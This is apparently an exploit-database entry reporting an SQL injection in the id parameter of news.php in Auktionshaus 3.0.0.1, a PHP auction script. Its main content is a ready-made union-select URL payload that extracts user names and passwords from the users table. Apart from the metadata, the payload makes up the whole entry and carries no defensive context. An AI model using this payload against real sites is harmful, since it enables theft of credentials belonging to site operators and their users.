Auktionshaus v3.0.0.1 news.php (id) SQL Injection Vulnerability

2010-03-05T00:00:00
ID 1337DAY-ID-11178
Type zdt
Reporter Easy Laster
Modified 2010-03-05T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ===============================================================
Auktionshaus v3.0.0.1 news.php (id) SQL Injection Vulnerability
===============================================================

----------------------------Information------------------------------------------------
+Name : Auktionshaus 3.0.0.1 news.php (id) SQL Injection
+Autor : Easy Laster
+Price : 59.95?
+Language :PHP
+Discovered by Easy Laster

----------------------------------------------------------------------------------------
+Vulnerability : www.site.com/auktionshaus/news.php?id=
+Exploitable   : www.site.com/auktionshaus/news.php?id=11111111+union+select+1,2,
concat(name,0x3a,password),4,5+from+users
-----------------------------------------------------------------------------------------



#  0day.today [2018-01-08]  #